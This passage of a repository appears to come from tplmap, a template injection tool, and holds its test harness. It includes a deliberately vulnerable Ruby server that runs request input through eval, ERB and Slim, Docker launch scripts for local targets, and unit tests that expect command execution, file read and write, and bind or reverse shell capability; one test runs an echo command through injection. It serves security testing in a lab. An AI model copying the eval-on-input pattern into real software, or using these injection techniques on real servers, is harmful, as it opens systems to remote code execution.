|engine| 13 | # Keep the formatting a-la-python 14 | on param("inj"), param("tpl", "%s") do |inj, tpl| 15 | 16 | tpl = tpl.gsub('%s', inj) 17 | 18 | case engine 19 | when "eval" 20 | res.write eval(tpl) 21 | when "slim" 22 | template = Tilt['slim'].new() {|x| tpl} 23 | res.write template.render 24 | when "erb" 25 | template = Tilt['erb'].new() {|x| tpl} 26 | res.write template.render 27 | else 28 | res.write "#{engine} #{inj} #{tpl}" 29 | end 30 | 31 | end 32 | end 33 | on "blind/:engine" do |engine| 34 | # Keep the formatting a-la-python 35 | on param("inj"), param("tpl", "%s") do |inj, tpl| 36 | 37 | tpl = tpl.gsub('%s', inj) 38 | 39 | case engine 40 | when "eval" 41 | eval(tpl) 42 | when "slim" 43 | template = Tilt['slim'].new() {|x| tpl} 44 | template.render 45 | when "erb" 46 | template = Tilt['erb'].new() {|x| tpl} 47 | template.render 48 | else 49 | res.write "blind #{engine} #{inj} #{tpl}" 50 | end 51 | 52 | res.write "ok"; # for set 200 response status code 53 | 54 | end 55 | end 56 | on 'shutdown' do 57 | exit! 58 | end 59 | end 60 | end 61 | -------------------------------------------------------------------------------- /tests/run_channel_test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-py" 4 | IMAGE_NAME="tplmap-py-img" 5 | PORT=15001 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15001/reflect/mako?inj=* 10 | http://localhost:15001/reflect/jinja2?inj=* 11 | http://localhost:15001/post/mako?inj=* 12 | http://localhost:15001/post/jinja2?inj=* 13 | http://localhost:15001/limit/mako?inj=* 14 | http://localhost:15001/limit/jinja2?inj=* 15 | http://localhost:15001/put/mako?inj=* 16 | http://localhost:15001/put/jinja2?inj=* 17 | " 18 | 19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 20 | 21 | docker rm -f $INSTANCE_NAME || echo '' 22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME 23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 24 | 25 | # Wait until the http server is serving 26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 27 | sleep 1 28 | done 29 | 30 | # Launch python engines tests 31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_channel*.py' 32 | 33 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /tests/run_java_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-java" 4 | IMAGE_NAME="tplmap-java-img" 5 | PORT=15003 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15003/velocity?inj=* 10 | http://localhost:15003/velocity?inj=*&blind=1 11 | http://localhost:15003/freemarker?inj=* 12 | http://localhost:15003/freemarker?inj=*&blind=1 13 | " 14 | 15 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 16 | 17 | docker rm -f $INSTANCE_NAME || echo '' 18 | docker build -f docker-envs/Dockerfile.java . -t $IMAGE_NAME 19 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 20 | 21 | # Wait until the http server is serving 22 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 23 | sleep 1 24 | done 25 | sleep 1 26 | 27 | # Launch Java engines tests 28 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_java_*.py' 29 | 30 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /tests/run_node_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-node" 4 | IMAGE_NAME="tplmap-node-img" 5 | PORT=15004 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15004/pug?inj=* 10 | http://localhost:15004/blind/pug?inj=* 11 | http://localhost:15004/nunjucks?inj=* 12 | http://localhost:15004/blind/nunjucks?inj=* 13 | http://localhost:15004/javascript?inj=* 14 | http://localhost:15004/blind/javascript?inj=* 15 | http://localhost:15004/dot?inj=* 16 | http://localhost:15004/blind/dot?inj=* 17 | http://localhost:15004/dust?inj=* 18 | http://localhost:15004/blind/dust?inj=* 19 | http://localhost:15004/marko?inj=* 20 | http://localhost:15004/blind/marko?inj=* 21 | http://localhost:15004/ejs?inj=* 22 | http://localhost:15004/blind/ejs?inj=* 23 | " 24 | 25 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 26 | 27 | docker rm -f $INSTANCE_NAME || echo '' 28 | docker build -f docker-envs/Dockerfile.node . -t $IMAGE_NAME 29 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 30 | 31 | # Wait until the http server is serving 32 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 33 | sleep 1 34 | done 35 | 36 | # Launch node engines tests 37 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_node_*.py' 38 | 39 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /tests/run_php_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-php" 4 | IMAGE_NAME="tplmap-php-img" 5 | PORT=15002 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15002/smarty-3.1.32-secured.php?inj=* 10 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=* 11 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=*&blind=1 12 | http://localhost:15002/twig-1.24.1-secured.php?inj=* 13 | http://localhost:15002/eval.php?inj=* 14 | http://localhost:15002/eval.php?inj=*&blind=1 15 | " 16 | 17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 18 | 19 | docker rm -f $INSTANCE_NAME || echo '' 20 | docker build -f docker-envs/Dockerfile.php . -t $IMAGE_NAME 21 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 22 | 23 | # Wait until the http server is serving 24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 25 | sleep 1 26 | done 27 | 28 | # Launch PHP engines tests 29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_php_*.py' 30 | 31 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /tests/run_python2_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-py2" 4 | IMAGE_NAME="tplmap-py2-img" 5 | PORT=15001 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15001/reflect/mako?inj=* 10 | http://localhost:15001/reflect/jinja2?inj=* 11 | http://localhost:15001/post/mako?inj=* 12 | http://localhost:15001/post/jinja2?inj=* 13 | http://localhost:15001/limit/mako?inj=* 14 | http://localhost:15001/limit/jinja2?inj=* 15 | http://localhost:15001/put/mako?inj=* 16 | http://localhost:15001/put/jinja2?inj=* 17 | " 18 | 19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 20 | 21 | docker rm -f $INSTANCE_NAME || echo '' 22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME 23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 24 | 25 | # Wait until the http server is serving 26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 27 | sleep 1 28 | done 29 | 30 | # Launch python engines tests 31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_py_*.py' 32 | 33 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /tests/run_python3_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-py3" 4 | IMAGE_NAME="tplmap-py3-img" 5 | GUESTPORT=15001 6 | PORT=15006 7 | 8 | echo "Exposed testing APIs: 9 | 10 | http://localhost:15006/reflect/mako?inj=* 11 | http://localhost:15006/reflect/jinja2?inj=* 12 | http://localhost:15006/post/mako?inj=* 13 | http://localhost:15006/post/jinja2?inj=* 14 | http://localhost:15006/limit/mako?inj=* 15 | http://localhost:15006/limit/jinja2?inj=* 16 | http://localhost:15006/put/mako?inj=* 17 | http://localhost:15006/put/jinja2?inj=* 18 | " 19 | 20 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 21 | 22 | docker rm -f $INSTANCE_NAME || echo '' 23 | docker build -f docker-envs/Dockerfile.python3 . -t $IMAGE_NAME 24 | docker run --rm --name $INSTANCE_NAME -p $PORT:$GUESTPORT -d $IMAGE_NAME 25 | 26 | # Wait until the http server is serving 27 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 28 | sleep 1 29 | done 30 | 31 | # Launch python engines tests 32 | docker exec -it $INSTANCE_NAME python2 -m unittest discover -v . 'test_py_*.py' 33 | 34 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /tests/run_ruby_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-ruby" 4 | IMAGE_NAME="tplmap-ruby-img" 5 | PORT=15005 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15005/reflect/eval?inj=* 10 | http://localhost:15005/blind/eval?inj=* 11 | http://localhost:15005/reflect/slim?inj=* 12 | http://localhost:15005/blind/slim?inj=* 13 | http://localhost:15005/reflect/erb?inj=* 14 | http://localhost:15005/blind/erb?inj=* 15 | " 16 | 17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 18 | 19 | docker rm -f $INSTANCE_NAME || echo '' 20 | docker build -f docker-envs/Dockerfile.ruby . -t $IMAGE_NAME 21 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 22 | 23 | # Wait until the http server is serving 24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 25 | sleep 1 26 | done 27 | 28 | # Launch ruby engines tests 29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_ruby_*.py' 30 | 31 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /tests/test_channel.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.mako import Mako 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | import utils.loggers 12 | import logging 13 | 14 | utils.loggers.stream_handler.setLevel(logging.FATAL) 15 | 16 | class ChannelTest(unittest.TestCase): 17 | 18 | expected_data = { 19 | 'language': 'python', 20 | 'engine': 'mako', 21 | 'evaluate' : 'python' , 22 | 'execute' : True, 23 | 'write' : True, 24 | 'read' : True, 25 | 'trailer': '${%(trailer)s}', 26 | 'header': '${%(header)s}', 27 | 'render': '${%(code)s}', 28 | 'prefix': '', 29 | 'suffix': '', 30 | 'bind_shell' : True, 31 | 'reverse_shell': True 32 | } 33 | 34 | def test_post_reflection(self): 35 | 36 | template = '%s' 37 | 38 | channel = Channel({ 39 | 'url' : 'http://127.0.0.1:15001/post/mako', 40 | 'force_level': [ 0, 0 ], 41 | 'data' : 'inj=*&othervar=1', 42 | 'injection_tag': '*', 43 | 'technique': 'R' 44 | 45 | }) 46 | detect_template_injection(channel, [ Mako ]) 47 | del channel.data['os'] 48 | self.assertEqual(channel.data, self.expected_data) 49 | 50 | def test_url_reflection(self): 51 | 52 | channel = Channel({ 53 | 'url' : 'http://127.0.0.1:15001/url/mako/AA*AA', 54 | 'force_level': [ 0, 0 ], 55 | 'injection_tag': '*', 56 | 'technique': 'R' 57 | 58 | }) 59 | 60 | detect_template_injection(channel, [ Mako ]) 61 | del channel.data['os'] 62 | self.assertEqual(channel.data, self.expected_data) 63 | 64 | def test_header_reflection(self): 65 | 66 | template = '%s' 67 | 68 | channel = Channel({ 69 | 'url' : 'http://127.0.0.1:15001/header/mako', 70 | 'force_level': [ 0, 0 ], 71 | 'headers' : [ 'User-Agent: *' ], 72 | 'injection_tag': '*', 73 | 'technique': 'R' 74 | }) 75 | detect_template_injection(channel, [ Mako ]) 76 | del channel.data['os'] 77 | self.assertEqual(channel.data, self.expected_data) 78 | 79 | def test_put_reflection(self): 80 | 81 | template = '%s' 82 | 83 | channel = Channel({ 84 | 'url' : 'http://127.0.0.1:15001/put/mako', 85 | 'data' : 'inj=*&othervar=1', 86 | 'request' : 'PUT', 87 | 'force_level': [ 0, 0 ], 88 | 'injection_tag': '*', 89 | 'technique': 'R' 90 | }) 91 | detect_template_injection(channel, [ Mako ]) 92 | del channel.data['os'] 93 | self.assertEqual(channel.data, self.expected_data) 94 | 95 | def test_custom_injection_tag(self): 96 | 97 | template = '%s' 98 | 99 | channel = Channel({ 100 | 'url' : 'http://127.0.0.1:15001/reflect/mako?tpl=%s&inj=~', 101 | 'force_level': [ 0, 0 ], 102 | 'injection_tag': '~', 103 | 'technique': 'R' 104 | }) 105 | detect_template_injection(channel, [ Mako ]) 106 | 107 | del channel.data['os'] 108 | self.assertEqual(channel.data, self.expected_data) 109 | 110 | 111 | def test_reflection_multiple_point_tag(self): 112 | 113 | template = '%s' 114 | 115 | channel = Channel({ 116 | 'url' : 'http://127.0.0.1:15001/reflect/mako?tpl=%s&asd=1&asd2=*&inj=*&inj2=*&inj3=*', 117 | 'force_level': [ 0, 0 ], 118 | 'injection_tag': '*', 119 | 'technique': 'R' 120 | }) 121 | detect_template_injection(channel, [ Mako ]) 122 | 123 | del channel.data['os'] 124 | self.assertEqual(channel.data, self.expected_data) 125 | 126 | def test_reflection_multiple_point_no_tag(self): 127 | 128 | channel = Channel({ 129 | 'url' : 'http://127.0.0.1:15001/reflect/mako?inj=asd&inj2=asd2', 130 | 'force_level': [ 0, 0 ], 131 | 'injection_tag': '*', 132 | 'technique': 'R' 133 | }) 134 | detect_template_injection(channel, [ Mako ]) 135 | 136 | del channel.data['os'] 137 | self.assertEqual(channel.data, self.expected_data) 138 | 139 | def test_no_reflection(self): 140 | 141 | channel = Channel({ 142 | 'url' : 'http://127.0.0.1:15001/reflect/mako?inj2=asd2', 143 | 'force_level': [ 0, 0 ], 144 | 'injection_tag': '*', 145 | 'technique': 'RT' 146 | }) 147 | detect_template_injection(channel, [ Mako ]) 148 | 149 | self.assertEqual(channel.data, {}) 150 | 151 | def test_reflection_point_startswith(self): 152 | 153 | channel = Channel({ 154 | 'url' : 'http://127.0.0.1:15001/startswith/mako?inj=thismustexists*&startswith=thismustexists', 155 | 'force_level': [ 0, 0 ], 156 | 'injection_tag': '*', 157 | 'technique': 'R' 158 | }) 159 | detect_template_injection(channel, [ Mako ]) 160 | 161 | del channel.data['os'] 162 | self.assertEqual(channel.data, self.expected_data) 163 | 164 | def test_reflection_point_dont_startswith(self): 165 | 166 | channel = Channel({ 167 | 'url' : 'http://127.0.0.1:15001/startswith/mako?inj=*&startswith=thismustexists', 168 | 'force_level': [ 0, 0 ], 169 | 'injection_tag': '*', 170 | 'technique': 'R' 171 | }) 172 | detect_template_injection(channel, [ Mako ]) 173 | 174 | self.assertEqual(channel.data, {}) 175 | 176 | 177 | def test_quotes(self): 178 | 179 | channel = Channel({ 180 | 'url' : 'http://127.0.0.1:15001/reflect/mako?inj=asd', 181 | 'force_level': [ 0, 0 ], 182 | 'injection_tag': '*', 183 | 'technique': 'RT' 184 | }) 185 | obj = detect_template_injection(channel, [ Mako ]) 186 | 187 | result = obj.execute("""echo 1"2"'3'\\"\\'""") 188 | self.assertEqual(result, """123"'""") 189 | 190 | channel = Channel({ 191 | 'url' : 'http://127.0.0.1:15001/blind/mako?inj=asd', 192 | 'force_level': [ 0, 0 ], 193 | 'injection_tag': '*', 194 | 'technique': 'RT' 195 | }) 196 | obj = detect_template_injection(channel, [ Mako ]) 197 | 198 | self.assertTrue(obj.execute_blind("""echo 1"2"'3'\\"\\'""")) 199 | 200 | def test_auth_reflection(self): 201 | 202 | channel = Channel({ 203 | 'url' : 'http://localhost:15001/reflect_cookieauth/mako?inj=asd*', 204 | 'force_level': [ 0, 0 ], 205 | 'headers' : [ 'Cookie: SID=SECRET' ], 206 | 'injection_tag': '*', 207 | 'technique': 'R' 208 | }) 209 | detect_template_injection(channel, [ Mako ]) 210 | 211 | del channel.data['os'] 212 | self.assertEqual(channel.data, self.expected_data) 213 | 214 | def test_wrong_auth_reflection(self): 215 | 216 | channel = Channel({ 217 | 'url' : 'http://localhost:15001/reflect_cookieauth/mako?inj=asd*', 218 | 'force_level': [ 0, 0 ], 219 | 'headers' : [ 'Cookie: SID=WRONGSECRET' ], 220 | 'injection_tag': '*', 221 | 'technique': 'R' 222 | }) 223 | detect_template_injection(channel, [ Mako ]) 224 | 225 | self.assertEqual(channel.data, {}) -------------------------------------------------------------------------------- /tests/test_java_freemarker.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | 6 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 7 | from plugins.engines.freemarker import Freemarker 8 | from basetest import BaseTest 9 | 10 | class FreemarkerTest(unittest.TestCase, BaseTest): 11 | 12 | 13 | expected_data = { 14 | 'language': 'java', 15 | 'engine': 'freemarker', 16 | 'execute' : True, 17 | 'trailer': '${%(trailer)s?c}', 18 | 'header': '${%(header)s?c}', 19 | 'render': '%(code)s', 20 | 'write': True, 21 | 'read': True, 22 | 'prefix' : '', 23 | 'suffix' : '', 24 | 'bind_shell' : True, 25 | 'reverse_shell': True 26 | } 27 | 28 | expected_data_blind = { 29 | 'language': 'java', 30 | 'engine': 'freemarker', 31 | 'blind': True, 32 | 'execute_blind' : True, 33 | 'write': True, 34 | 'prefix' : '', 35 | 'suffix' : '', 36 | 'bind_shell' : True, 37 | 'reverse_shell': True 38 | } 39 | 40 | url = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s' 41 | url_blind = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s&blind=1' 42 | 43 | plugin = Freemarker 44 | 45 | blind_tests = [ 46 | (0, 0, 'AAA%sAAA', {}), 47 | (5, 5, '<#list %s as a>', { 'prefix' : '[1] as a><#list [1] as a>', 'suffix' : ''}), 48 | ] 49 | 50 | reflection_tests = [ 51 | (0, 0, '%s', {}), 52 | (0, 0, 'AAA%sAAA', {}), 53 | (1, 0, '${ %s }', { 'prefix': '1}', 'suffix': '' }), 54 | 55 | (2, 1, '<#assign s = %s>', { 'prefix': '1>', 'suffix': '' }), 56 | (5, 1, '<#-- %s -->', { 'prefix': '-->', 'suffix': '<#--' }), 57 | (2, 1, '<#if 1 == %s>', { 'prefix': '1>', 'suffix' : ''}), 58 | (2, 2, '<#if %s == 1>', { 'prefix': 'true>', 'suffix' : ''}), 59 | (5, 3, '<#list [%s] as a>', { 'prefix' : '1] as a><#list [1] as a>', 'suffix' : ''}), 60 | (5, 5, '<#list %s as a>', { 'prefix' : '[1] as a><#list [1] as a>', 'suffix' : ''}), 61 | (1, 5, '<#assign ages = {"J":2, "%s":2}>', { 'prefix' : '1":1}]}', 'suffix' : ''}), 62 | 63 | #(1, 5, '${[1,2]%3Fjoin(%s)}', { 'prefix' : '[1])}', 'suffix' : ''}), 64 | 65 | ] 66 | -------------------------------------------------------------------------------- /tests/test_java_velocity.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.velocity import Velocity 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | class VelocityTest(unittest.TestCase, BaseTest): 14 | 15 | expected_data = { 16 | 'language': 'java', 17 | 'engine': 'velocity', 18 | 'execute' : True, 19 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n', 20 | 'header': '\n#set($h=%(header)s)\n${h}\n', 21 | 'render': '%(code)s', 22 | 'write': True, 23 | 'read': True, 24 | 'prefix' : '', 25 | 'suffix' : '', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'java', 32 | 'engine': 'velocity', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'write': True, 36 | 'prefix' : '', 37 | 'suffix' : '', 38 | 'bind_shell' : True, 39 | 'reverse_shell': True 40 | } 41 | 42 | url = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s' 43 | url_blind = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s&blind=1' 44 | 45 | plugin = Velocity 46 | 47 | blind_tests = [ 48 | (0, 0, 'AAA%sAAA', {}), 49 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 0, '#set( $a = "%s" )', { 'prefix' : '1")', 'suffix': ''}), 56 | (1, 0, '#if(1 == %s)\n#end', { 'prefix' : '1)', 'suffix': ''}), 57 | (3, 1, '#if(%s == 1)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}), 58 | (3, 1, '#foreach($item in %s)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}), 59 | (0, 0, '## comment %s', { }), 60 | # TODO: fix those, they used to work 61 | #(5, 0, '#[[%s]]# ', { }), 62 | (0, 0, '${%s}', {}), 63 | (0, 0, '${(%s)}', {}), 64 | (3, 1, '#define( %s )a#end', { 'prefix': '1)#end#if(1==1)', 'suffix' : ''}), 65 | (3, 1, '#define( $asd )%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}), 66 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}), 67 | ] 68 | 69 | 70 | def test_custom_injection_tag(self): 71 | 72 | template = '#* %s *#' 73 | 74 | channel = Channel({ 75 | 'url' : self.url.replace('*', '~') % template, 76 | 'force_level': [ 5, 0 ], 77 | 'injection_tag': '~', 78 | 'technique': 'RT' 79 | }) 80 | 81 | detect_template_injection(channel, [ self.plugin ]) 82 | 83 | expected_data = self.expected_data.copy() 84 | expected_data.update({ 'prefix': '*#', 'suffix' : '#*'}) 85 | 86 | del channel.data['os'] 87 | 88 | self.assertEqual(channel.data, expected_data) -------------------------------------------------------------------------------- /tests/test_node_dot.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.dot import Dot 9 | from basetest import BaseTest 10 | 11 | 12 | class DotTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'dot', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'render': '{{=%(code)s}}', 24 | 'header': '{{=%(header)s}}', 25 | 'trailer': '{{=%(trailer)s}}', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'dot', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/dot?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/dot?inj=*&tpl=%s' 45 | plugin = Dot 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 1, "{{ %s }}", { 'prefix': '1;}}', 'suffix' : '{{1;' }), 56 | ] -------------------------------------------------------------------------------- /tests/test_node_dust.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.dust import Dust 9 | from basetest import BaseTest 10 | 11 | 12 | class DustTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'dust', 17 | 'write' : True, 18 | 'execute_blind' : True, 19 | 'prefix' : '', 20 | 'suffix': '', 21 | 'header': '%s', 22 | 'trailer': '%s', 23 | 'bind_shell' : True, 24 | 'reverse_shell': True, 25 | 'blind': True, 26 | 'evaluate_blind': 'javascript' 27 | } 28 | 29 | expected_data_blind = { 30 | 'language': 'javascript', 31 | 'engine': 'dust', 32 | 'blind': True, 33 | 'execute_blind' : True, 34 | 'write': True, 35 | 'prefix' : '', 36 | 'suffix' : '', 37 | 'bind_shell' : True, 38 | 'reverse_shell': True, 39 | 'evaluate_blind': 'javascript' 40 | } 41 | 42 | url = 'http://127.0.0.1:15004/dust?inj=*&tpl=%s' 43 | url_blind = 'http://127.0.0.1:15004/blind/dust?inj=*&tpl=%s' 44 | plugin = Dust 45 | 46 | 47 | blind_tests = [ 48 | (0, 0, 'AAA%sAAA', {}), 49 | (0, 0, '{%s|s}', { }), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (0, 0, '{%s}', { }), 56 | (0, 0, '{%s|s}', { }), 57 | (1, 0, '{!%s!}', { 'prefix' : '!}', 'suffix' : '{!' }) 58 | ] 59 | 60 | def test_upload(self): 61 | pass 62 | 63 | def test_download(self): 64 | pass -------------------------------------------------------------------------------- /tests/test_node_ejs.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.ejs import Ejs 9 | from basetest import BaseTest 10 | 11 | 12 | class EjsTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'ejs', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'render': """%(code)s""", 24 | 'header': """<%%- '%(header)s'+""", 25 | 'trailer': """+'%(trailer)s' %%>""", 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'ejs', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/ejs?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/ejs?inj=*&tpl=%s' 45 | plugin = Ejs 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 0, "<% %s %>", { 'prefix': '1%>', 'suffix' : '<%#' }), 56 | (1, 1, "<% '%s' %>", { 'prefix': "1'%>", 'suffix' : '<%#' }), 57 | (1, 1, '<% "%s" %>', { 'prefix': '1"%>', 'suffix' : '<%#' }), 58 | (1, 0, '<%= %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 59 | (1, 0, '<%- %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 60 | (1, 0, '<%# %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 61 | (1, 0, '<%_ %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 62 | (1, 0, '<% %s -%>', { 'prefix': '1%>', 'suffix' : '<%#' }), 63 | (1, 0, '<% %s _%>', { 'prefix': '1%>', 'suffix' : '<%#' }), 64 | (2, 1, "<%- include('/etc/resolv.conf%s') %>", { 'prefix': "')%>", 'suffix' : '<%#' }), 65 | (2, 2, '<%- include("/etc/resolv.conf%s") %>', { 'prefix': '")%>', 'suffix' : '<%#' }), 66 | (3, 0, "<% 456/* AAA %s */-123 %>", { 'prefix': '*/%>', 'suffix': '<%#' }), 67 | ] 68 | -------------------------------------------------------------------------------- /tests/test_node_javascript.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.javascript import Javascript 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class JavascriptTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'javascript', 18 | 'engine': 'javascript', 19 | 'evaluate' : 'javascript' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': """%(code)s""", 26 | 'header': """'%(header)s'+""", 27 | 'trailer': """+'%(trailer)s'""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'javascript', 34 | 'engine': 'javascript', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'javascript', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://127.0.0.1:15004/javascript?inj=*&tpl=%s' 46 | url_blind = 'http://127.0.0.1:15004/blind/javascript?inj=*&tpl=%s' 47 | plugin = Javascript 48 | 49 | 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 